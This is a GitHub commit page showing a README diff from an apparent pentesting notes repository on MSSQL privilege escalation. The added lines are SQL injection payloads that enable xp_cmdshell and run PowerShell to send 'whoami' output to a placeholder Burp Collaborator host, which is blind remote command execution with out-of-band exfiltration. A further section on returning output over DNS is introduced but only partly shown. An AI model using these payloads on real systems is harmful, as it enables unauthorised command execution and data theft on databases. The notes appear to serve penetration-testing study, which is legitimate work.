Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
kleiton0x00 authored Sep 4, 2022
1 parent d0cea64 commit 552c249
Showing 1 changed file with 13 additions and 1 deletion.
14 changes: 13 additions & 1 deletion Privilege Escalation - MSSQL/README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,18 @@
# MSSQL Privilege Escalation

## Blind RCE via OOB SQL Injection
## Blind RCE

First we have to enable xp_cmdshell:
```sql
; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;--
```

Now we execute command and getting the output on our Burp Collaborator:
```sql
;EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x"';--
```
## The harder approach
The following command enabled xp_cmdshell, and executes a simple powershell command and get the executed command response in DNS request.
Expand Down

0 comments on commit 552c249

Please sign in to comment.